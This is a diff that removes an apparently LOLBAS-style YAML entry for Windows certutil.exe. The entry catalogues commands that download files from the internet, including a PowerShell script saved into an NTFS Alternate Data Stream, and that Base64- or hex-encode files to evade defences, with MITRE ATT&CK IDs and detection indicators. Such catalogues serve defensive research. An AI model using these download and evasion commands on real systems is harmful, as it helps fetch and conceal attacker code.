Delete certutil.yml

yml/OSBinaries/certutil.yml

@@ -1,76 +0,0 @@
----
-Name: Certutil.exe
-Description: Windows binary used for handeling certificates
-Author: 'Oddvar Moe'
-Created: '2018-05-25'
-Commands:
-  - Command: certutil.exe -urlcache -split -f http://7-zip.org/a/7z1604-x64.exe 7zip.exe
-    Description: Download and save 7zip to disk in the current folder.
-    Usecase: Download file from Internet
-    Category: Download
-    Privileges: User
-    MitreID: T1105
-    MitreLink: https://attack.mitre.org/wiki/Technique/T1105
-    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
-  - Command: certutil.exe -verifyctl -f -split http://7-zip.org/a/7z1604-x64.exe 7zip.exe
-    Description: Download and save 7zip to disk in the current folder.
-    Usecase: Download file from Internet
-    Category: Download
-    Privileges: User
-    MitreID: T1105
-    MitreLink: https://attack.mitre.org/wiki/Technique/T1105
-    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
-  - Command: certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
-    Description: Download and save a PS1 file to an Alternate Data Stream (ADS).
-    Usecase: Download file from Internet and save it in an NTFS Alternate Data Stream
-    Category: ADS
-    Privileges: User
-    MitreID: T1096
-    MitreLink: https://attack.mitre.org/techniques/T1096
-    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
-  - Command: certutil -encode inputFileName encodedOutputFileName
-    Description: Command to encode a file using Base64
-    Usecase: Encode files to evade defensive measures
-    Category: Encode
-    Privileges: User
-    MitreID: T1027
-    MitreLink: https://attack.mitre.org/wiki/Technique/T1027
-    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
-  - Command: certutil -decode encodedInputFileName decodedOutputFileName
-    Description: Command to decode a Base64 encoded file.
-    Usecase: Decode files to evade defensive measures
-    Category: Decode
-    Privileges: User
-    MitreID: T1140
-    MitreLink: https://attack.mitre.org/wiki/Technique/T1140
-    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
-  - Command: certutil --decodehex encoded_hexadecimal_InputFileName 
-    Description: Command to decode a hexadecimal-encoded file decodedOutputFileName
-    Usecase: Decode files to evade defensive measures
-    Category: Decode
-    Privileges: User
-    MitreID: T1140
-    MitreLink: https://attack.mitre.org/wiki/Technique/T1140
-    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
-Full_Path:
-  - Path: C:\Windows\System32\certutil.exe
-  - Path: C:\Windows\SysWOW64\certutil.exe
-Code_Sample: 
-  - Code:546573745f62795f4c696f72(example of the encoded hexadecimal file)
-Detection:
-  - IOC: Certutil.exe creating new files on disk
-  - IOC: Useragent Microsoft-CryptoAPI/10.0
-  - IOC: Useragent CertUtil URL Agent
-Resources:
-  - Link: https://twitter.com/Moriarty_Meng/status/984380793383370752
-  - Link: https://twitter.com/mattifestation/status/620107926288515072
-  - Link: https://twitter.com/egre55/status/1087685529016193025
-Acknowledgement:
-  - Person: Matt Graeber
-    Handle: '@mattifestation'
-  - Person: Moriarty
-    Handle: '@Moriarty_Meng'
-  - Person: egre55
-    Handle: '@egre55'
-  - Person: Lior Adar
----